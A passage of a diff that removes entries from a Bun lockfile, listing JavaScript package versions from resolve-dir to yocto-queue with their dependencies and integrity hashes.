- "resolve-dir": ["resolve-dir@1.0.1", "", { "dependencies": { "expand-tilde": "^2.0.0", "global-modules": "^1.0.0" } }, "sha512-R7uiTjECzvOsWSfdM0QKFNBVFcK27aHOUwdvK53BcW8zqnGdYp0Fbj82cy54+2A4P2tFM22J5kRfe1R+lM/1yg=="],
-
- "resolve-from": ["resolve-from@5.0.0", "", {}, "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw=="],
-
- "resolve-pkg-maps": ["resolve-pkg-maps@1.0.0", "", {}, "sha512-seS2Tj26TBVOC2NIc2rOe2y2ZO7efxITtLZcGSOnHHNOQ7CkiUBfw0Iw2ck6xkIhPwLhKNLS8BO+hEpngQlqzw=="],
-
- "reusify": ["reusify@1.0.4", "", {}, "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw=="],
-
- "rimraf": ["rimraf@3.0.2", "", { "dependencies": { "glob": "^7.1.3" }, "bin": { "rimraf": "bin.js" } }, "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA=="],
-
- "run-parallel": ["run-parallel@1.2.0", "", { "dependencies": { "queue-microtask": "^1.2.2" } }, "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA=="],
-
- "safe-array-concat": ["safe-array-concat@1.1.2", "", { "dependencies": { "call-bind": "^1.0.7", "get-intrinsic": "^1.2.4", "has-symbols": "^1.0.3", "isarray": "^2.0.5" } }, "sha512-vj6RsCsWBCf19jIeHEfkRMw8DPiBb+DMXklQ/1SGDHOMlHdPUkZXFQ2YdplS23zESTijAcurb1aSgJA3AgMu1Q=="],
-
- "safe-push-apply": ["safe-push-apply@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0", "isarray": "^2.0.5" } }, "sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA=="],
-
- "safe-regex-test": ["safe-regex-test@1.0.3", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-regex": "^1.1.4" } }, "sha512-CdASjNJPvRa7roO6Ra/gLYBTzYzzPyyBXxIMdGW3USQLyjWEls2RgW5UBTXaQVp+OrpeCK3bLem8smtmheoRuw=="],
-
- "scheduler": ["scheduler@0.27.0", "", {}, "sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q=="],
-
- "semver": ["semver@7.6.3", "", { "bin": "bin/semver.js" }, "sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A=="],
-
- "semver-compare": ["semver-compare@1.0.0", "", {}, "sha512-YM3/ITh2MJ5MtzaM429anh+x2jiLVjqILF4m4oyQB18W7Ggea7BfqdH/wGMK7dDiMghv/6WG7znWMwUDzJiXow=="],
-
- "set-function-length": ["set-function-length@1.2.2", "", { "dependencies": { "define-data-property": "^1.1.4", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "gopd": "^1.0.1", "has-property-descriptors": "^1.0.2" } }, "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg=="],
-
- "set-function-name": ["set-function-name@2.0.2", "", { "dependencies": { "define-data-property": "^1.1.4", "es-errors": "^1.3.0", "functions-have-names": "^1.2.3", "has-property-descriptors": "^1.0.2" } }, "sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ=="],
-
- "set-proto": ["set-proto@1.0.0", "", { "dependencies": { "dunder-proto": "^1.0.1", "es-errors": "^1.3.0", "es-object-atoms": "^1.0.0" } }, "sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw=="],
-
- "sharp": ["sharp@0.34.5", "", { "dependencies": { "@img/colour": "^1.0.0", "detect-libc": "^2.1.2", "semver": "^7.7.3" }, "optionalDependencies": { "@img/sharp-darwin-arm64": "0.34.5", "@img/sharp-darwin-x64": "0.34.5", "@img/sharp-libvips-darwin-arm64": "1.2.4", "@img/sharp-libvips-darwin-x64": "1.2.4", "@img/sharp-libvips-linux-arm": "1.2.4", "@img/sharp-libvips-linux-arm64": "1.2.4", "@img/sharp-libvips-linux-ppc64": "1.2.4", "@img/sharp-libvips-linux-riscv64": "1.2.4", "@img/sharp-libvips-linux-s390x": "1.2.4", "@img/sharp-libvips-linux-x64": "1.2.4", "@img/sharp-libvips-linuxmusl-arm64": "1.2.4", "@img/sharp-libvips-linuxmusl-x64": "1.2.4", "@img/sharp-linux-arm": "0.34.5", "@img/sharp-linux-arm64": "0.34.5", "@img/sharp-linux-ppc64": "0.34.5", "@img/sharp-linux-riscv64": "0.34.5", "@img/sharp-linux-s390x": "0.34.5", "@img/sharp-linux-x64": "0.34.5", "@img/sharp-linuxmusl-arm64": "0.34.5", "@img/sharp-linuxmusl-x64": "0.34.5", "@img/sharp-wasm32": "0.34.5", "@img/sharp-win32-arm64": "0.34.5", "@img/sharp-win32-ia32": "0.34.5", "@img/sharp-win32-x64": "0.34.5" } }, "sha512-Ou9I5Ft9WNcCbXrU9cMgPBcCK8LiwLqcbywW3t4oDV37n1pzpuNLsYiAV8eODnjbtQlSDwZ2cUEeQz4E54Hltg=="],
-
- "shebang-command": ["shebang-command@2.0.0", "", { "dependencies": { "shebang-regex": "^3.0.0" } }, "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA=="],
-
- "shebang-regex": ["shebang-regex@3.0.0", "", {}, "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A=="],
-
- "side-channel": ["side-channel@1.0.6", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.4", "object-inspect": "^1.13.1" } }, "sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA=="],
-
- "side-channel-list": ["side-channel-list@1.0.1", "", { "dependencies": { "es-errors": "^1.3.0", "object-inspect": "^1.13.4" } }, "sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w=="],
-
- "side-channel-map": ["side-channel-map@1.0.1", "", { "dependencies": { "call-bound": "^1.0.2", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.5", "object-inspect": "^1.13.3" } }, "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA=="],
-
- "side-channel-weakmap": ["side-channel-weakmap@1.0.2", "", { "dependencies": { "call-bound": "^1.0.2", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.5", "object-inspect": "^1.13.3", "side-channel-map": "^1.0.1" } }, "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A=="],
-
- "source-map-js": ["source-map-js@1.2.1", "", {}, "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA=="],
-
- "sprintf-js": ["sprintf-js@1.0.3", "", {}, "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g=="],
-
- "stop-iteration-iterator": ["stop-iteration-iterator@1.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "internal-slot": "^1.1.0" } }, "sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ=="],
-
- "string-width": ["string-width@4.2.3", "", { "dependencies": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", "strip-ansi": "^6.0.1" } }, "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g=="],
-
- "string.prototype.includes": ["string.prototype.includes@2.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.3" } }, "sha512-o7+c9bW6zpAdJHTtujeePODAhkuicdAryFsfVKwA+wGw89wJ4GTY484WTucM9hLtDEOpOvI+aHnzqnC5lHp4Rg=="],
-
- "string.prototype.matchall": ["string.prototype.matchall@4.0.11", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.2", "es-errors": "^1.3.0", "es-object-atoms": "^1.0.0", "get-intrinsic": "^1.2.4", "gopd": "^1.0.1", "has-symbols": "^1.0.3", "internal-slot": "^1.0.7", "regexp.prototype.flags": "^1.5.2", "set-function-name": "^2.0.2", "side-channel": "^1.0.6" } }, "sha512-NUdh0aDavY2og7IbBPenWqR9exH+E26Sv8e0/eTe1tltDGZL+GtBkDAnnyBtmekfK6/Dq3MkcGtzXFEd1LQrtg=="],
-
- "string.prototype.repeat": ["string.prototype.repeat@1.0.0", "", { "dependencies": { "define-properties": "^1.1.3", "es-abstract": "^1.17.5" } }, "sha512-0u/TldDbKD8bFCQ/4f5+mNRrXwZ8hg2w7ZR8wa16e8z9XpePWl3eGEcUD0OXpEH/VJH/2G3gjUtR3ZOiBe2S/w=="],
-
- "string.prototype.trim": ["string.prototype.trim@1.2.10", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.2", "define-data-property": "^1.1.4", "define-properties": "^1.2.1", "es-abstract": "^1.23.5", "es-object-atoms": "^1.0.0", "has-property-descriptors": "^1.0.2" } }, "sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA=="],
-
- "string.prototype.trimend": ["string.prototype.trimend@1.0.9", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.2", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ=="],
-
- "string.prototype.trimstart": ["string.prototype.trimstart@1.0.8", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg=="],
-
- "strip-ansi": ["strip-ansi@6.0.1", "", { "dependencies": { "ansi-regex": "^5.0.1" } }, "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A=="],
-
- "strip-bom": ["strip-bom@3.0.0", "", {}, "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA=="],
-
- "strip-json-comments": ["strip-json-comments@3.1.1", "", {}, "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig=="],
-
- "styled-jsx": ["styled-jsx@5.1.6", "", { "dependencies": { "client-only": "0.0.1" }, "peerDependencies": { "react": ">= 16.8.0 || 17.x.x || ^18.0.0-0 || ^19.0.0-0" } }, "sha512-qSVyDTeMotdvQYoHWLNGwRFJHC+i+ZvdBRYosOFgC+Wg1vx4frN2/RG/NA7SYqqvKNLf39P2LSRA2pu6n0XYZA=="],
-
- "sucrase": ["sucrase@3.35.1", "", { "dependencies": { "@jridgewell/gen-mapping": "^0.3.2", "commander": "^4.0.0", "lines-and-columns": "^1.1.6", "mz": "^2.7.0", "pirates": "^4.0.1", "tinyglobby": "^0.2.11", "ts-interface-checker": "^0.1.9" }, "bin": { "sucrase": "bin/sucrase", "sucrase-node": "bin/sucrase-node" } }, "sha512-DhuTmvZWux4H1UOnWMB3sk0sbaCVOoQZjv8u1rDoTV0HTdGem9hkAZtl4JZy8P2z4Bg0nT+YMeOFyVr4zcG5Tw=="],
-
- "supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="],
-
- "supports-preserve-symlinks-flag": ["supports-preserve-symlinks-flag@1.0.0", "", {}, "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w=="],
-
- "tailwind-merge": ["tailwind-merge@2.6.1", "", {}, "sha512-Oo6tHdpZsGpkKG88HJ8RR1rg/RdnEkQEfMoEk2x1XRI3F1AxeU+ijRXpiVUF4UbLfcxxRGw6TbUINKYdWVsQTQ=="],
-
- "tailwindcss": ["tailwindcss@3.4.19", "", { "dependencies": { "@alloc/quick-lru": "^5.2.0", "arg": "^5.0.2", "chokidar": "^3.6.0", "didyoumean": "^1.2.2", "dlv": "^1.1.3", "fast-glob": "^3.3.2", "glob-parent": "^6.0.2", "is-glob": "^4.0.3", "jiti": "^1.21.7", "lilconfig": "^3.1.3", "micromatch": "^4.0.8", "normalize-path": "^3.0.0", "object-hash": "^3.0.0", "picocolors": "^1.1.1", "postcss": "^8.4.47", "postcss-import": "^15.1.0", "postcss-js": "^4.0.1", "postcss-load-config": "^4.0.2 || ^5.0 || ^6.0", "postcss-nested": "^6.2.0", "postcss-selector-parser": "^6.1.2", "resolve": "^1.22.8", "sucrase": "^3.35.0" }, "bin": { "tailwind": "lib/cli.js", "tailwindcss": "lib/cli.js" } }, "sha512-3ofp+LL8E+pK/JuPLPggVAIaEuhvIz4qNcf3nA1Xn2o/7fb7s/TYpHhwGDv1ZU3PkBluUVaF8PyCHcm48cKLWQ=="],
-
- "tailwindcss-animate": ["tailwindcss-animate@1.0.7", "", { "peerDependencies": { "tailwindcss": ">=3.0.0 || insiders" } }, "sha512-bl6mpH3T7I3UFxuvDEXLxy/VuFxBk5bbzplh7tXI68mwMokNYd1t9qPBHlnyTwfa4JGC4zP516I1hYYtQ/vspA=="],
-
- "tapable": ["tapable@2.2.1", "", {}, "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ=="],
-
- "text-table": ["text-table@0.2.0", "", {}, "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw=="],
-
- "thenify": ["thenify@3.3.1", "", { "dependencies": { "any-promise": "^1.0.0" } }, "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw=="],
-
- "thenify-all": ["thenify-all@1.6.0", "", { "dependencies": { "thenify": ">= 3.1.0 < 4" } }, "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA=="],
-
- "tinyexec": ["tinyexec@1.1.1", "", {}, "sha512-VKS/ZaQhhkKFMANmAOhhXVoIfBXblQxGX1myCQ2faQrfmobMftXeJPcZGp0gS07ocvGJWDLZGyOZDadDBqYIJg=="],
-
- "tinyglobby": ["tinyglobby@0.2.16", "", { "dependencies": { "fdir": "^6.5.0", "picomatch": "^4.0.4" } }, "sha512-pn99VhoACYR8nFHhxqix+uvsbXineAasWm5ojXoN8xEwK5Kd3/TrhNn1wByuD52UxWRLy8pu+kRMniEi6Eq9Zg=="],
-
- "to-regex-range": ["to-regex-range@5.0.1", "", { "dependencies": { "is-number": "^7.0.0" } }, "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ=="],
-
- "ts-api-utils": ["ts-api-utils@2.5.0", "", { "peerDependencies": { "typescript": ">=4.8.4" } }, "sha512-OJ/ibxhPlqrMM0UiNHJ/0CKQkoKF243/AEmplt3qpRgkW8VG7IfOS41h7V8TjITqdByHzrjcS/2si+y4lIh8NA=="],
-
- "ts-interface-checker": ["ts-interface-checker@0.1.13", "", {}, "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA=="],
-
- "tsconfig-paths": ["tsconfig-paths@3.15.0", "", { "dependencies": { "@types/json5": "^0.0.29", "json5": "^1.0.2", "minimist": "^1.2.6", "strip-bom": "^3.0.0" } }, "sha512-2Ac2RgzDe/cn48GvOe3M+o82pEFewD3UPbyoUHHdKasHwJKjds4fLXWf/Ux5kATBKN20oaFGu+jbElp1pos0mg=="],
-
- "tslib": ["tslib@2.8.1", "", {}, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="],
-
- "type-check": ["type-check@0.4.0", "", { "dependencies": { "prelude-ls": "^1.2.1" } }, "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew=="],
-
- "type-fest": ["type-fest@0.20.2", "", {}, "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ=="],
-
- "typed-array-buffer": ["typed-array-buffer@1.0.3", "", { "dependencies": { "call-bound": "^1.0.3", "es-errors": "^1.3.0", "is-typed-array": "^1.1.14" } }, "sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw=="],
-
- "typed-array-byte-length": ["typed-array-byte-length@1.0.3", "", { "dependencies": { "call-bind": "^1.0.8", "for-each": "^0.3.3", "gopd": "^1.2.0", "has-proto": "^1.2.0", "is-typed-array": "^1.1.14" } }, "sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg=="],
-
- "typed-array-byte-offset": ["typed-array-byte-offset@1.0.4", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.8", "for-each": "^0.3.3", "gopd": "^1.2.0", "has-proto": "^1.2.0", "is-typed-array": "^1.1.15", "reflect.getprototypeof": "^1.0.9" } }, "sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ=="],
-
- "typed-array-length": ["typed-array-length@1.0.7", "", { "dependencies": { "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "is-typed-array": "^1.1.13", "possible-typed-array-names": "^1.0.0", "reflect.getprototypeof": "^1.0.6" } }, "sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg=="],
-
- "typescript": ["typescript@5.9.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw=="],
-
- "unbox-primitive": ["unbox-primitive@1.1.0", "", { "dependencies": { "call-bound": "^1.0.3", "has-bigints": "^1.0.2", "has-symbols": "^1.1.0", "which-boxed-primitive": "^1.1.1" } }, "sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw=="],
-
- "undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="],
-
- "uri-js": ["uri-js@4.4.1", "", { "dependencies": { "punycode": "^2.1.0" } }, "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg=="],
-
- "use-callback-ref": ["use-callback-ref@1.3.3", "", { "dependencies": { "tslib": "^2.0.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-jQL3lRnocaFtu3V00JToYz/4QkNWswxijDaCVNZRiRTO3HQDLsdu1ZtmIUvV4yPp+rvWm5j0y0TG/S61cuijTg=="],
-
- "use-sidecar": ["use-sidecar@1.1.3", "", { "dependencies": { "detect-node-es": "^1.1.0", "tslib": "^2.0.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-Fedw0aZvkhynoPYlA5WXrMCAMm+nSWdZt6lzJQ7Ok8S6Q+VsHmHpRWndVRJ8Be0ZbkfPc5LRYH+5XrzXcEeLRQ=="],
-
- "util-deprecate": ["util-deprecate@1.0.2", "", {}, "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw=="],
-
- "which": ["which@2.0.2", "", { "dependencies": { "isexe": "^2.0.0" }, "bin": { "node-which": "bin/node-which" } }, "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA=="],
-
- "which-boxed-primitive": ["which-boxed-primitive@1.1.1", "", { "dependencies": { "is-bigint": "^1.1.0", "is-boolean-object": "^1.2.1", "is-number-object": "^1.1.1", "is-string": "^1.1.1", "is-symbol": "^1.1.1" } }, "sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA=="],
-
- "which-builtin-type": ["which-builtin-type@1.2.0", "", { "dependencies": { "call-bind": "^1.0.7", "function.prototype.name": "^1.1.6", "has-tostringtag": "^1.0.2", "is-async-function": "^2.0.0", "is-date-object": "^1.0.5", "is-finalizationregistry": "^1.1.0", "is-generator-function": "^1.0.10", "is-regex": "^1.1.4", "is-weakref": "^1.0.2", "isarray": "^2.0.5", "which-boxed-primitive": "^1.0.2", "which-collection": "^1.0.2", "which-typed-array": "^1.1.15" } }, "sha512-I+qLGQ/vucCby4tf5HsLmGueEla4ZhwTBSqaooS+Y0BuxN4Cp+okmGuV+8mXZ84KDI9BA+oklo+RzKg0ONdSUA=="],
-
- "which-collection": ["which-collection@1.0.2", "", { "dependencies": { "is-map": "^2.0.3", "is-set": "^2.0.3", "is-weakmap": "^2.0.2", "is-weakset": "^2.0.3" } }, "sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw=="],
-
- "which-typed-array": ["which-typed-array@1.1.20", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.8", "call-bound": "^1.0.4", "for-each": "^0.3.5", "get-proto": "^1.0.1", "gopd": "^1.2.0", "has-tostringtag": "^1.0.2" } }, "sha512-LYfpUkmqwl0h9A2HL09Mms427Q1RZWuOHsukfVcKRq9q95iQxdw0ix1JQrqbcDR9PH1QDwf5Qo8OZb5lksZ8Xg=="],
-
- "word-wrap": ["word-wrap@1.2.5", "", {}, "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA=="],
-
- "wrap-ansi": ["wrap-ansi@7.0.0", "", { "dependencies": { "ansi-styles": "^4.0.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0" } }, "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q=="],
-
- "y18n": ["y18n@5.0.8", "", {}, "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA=="],
-
- "yaml": ["yaml@1.10.3", "", {}, "sha512-vIYeF1u3CjlhAFekPPAk2h/Kv4T3mAkMox5OymRiJQB0spDP10LHvt+K7G9Ny6NuuMAb25/6n1qyUjAcGNf/AA=="],
-
- "yargs": ["yargs@16.2.0", "", { "dependencies": { "cliui": "^7.0.2", "escalade": "^3.1.1", "get-caller-file": "^2.0.5", "require-directory": "^2.1.1", "string-width": "^4.2.0", "y18n": "^5.0.5", "yargs-parser": "^20.2.2" } }, "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw=="],
-
- "yargs-parser": ["yargs-parser@20.2.9", "", {}, "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w=="],
-
- "yocto-queue": ["yocto-queue@0.1.0", "", {}, "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q=="],
-
- "@eslint/eslintrc/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
-
- "@eslint/eslintrc/js-yaml": ["js-yaml@4.1.1", "", { "dependencies": { "argparse": "^2.0.1" }, "bin": { "js-yaml": "bin/js-yaml.js" } }, "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA=="],
-
- "@humanwhocodes/config-array/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
-
- "@next/eslint-plugin-next/fast-glob": ["fast-glob@3.3.1", "", { "dependencies": { "@nodelib/fs.stat": "^2.0.2", "@nodelib/fs.walk": "^1.2.3", "glob-parent": "^5.1.2", "merge2": "^1.3.0", "micromatch": "^4.0.4" } }, "sha512-kNFPyjhh5cKjrUltxs+wFx+ZkbRaxxmZ+X0ZU31SOsxCEtP9VPgtq2teZw1DebupL5GmDaNQ6yKMMVcM41iqDg=="],
-
- "@radix-ui/react-alert-dialog/@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A=="],
-
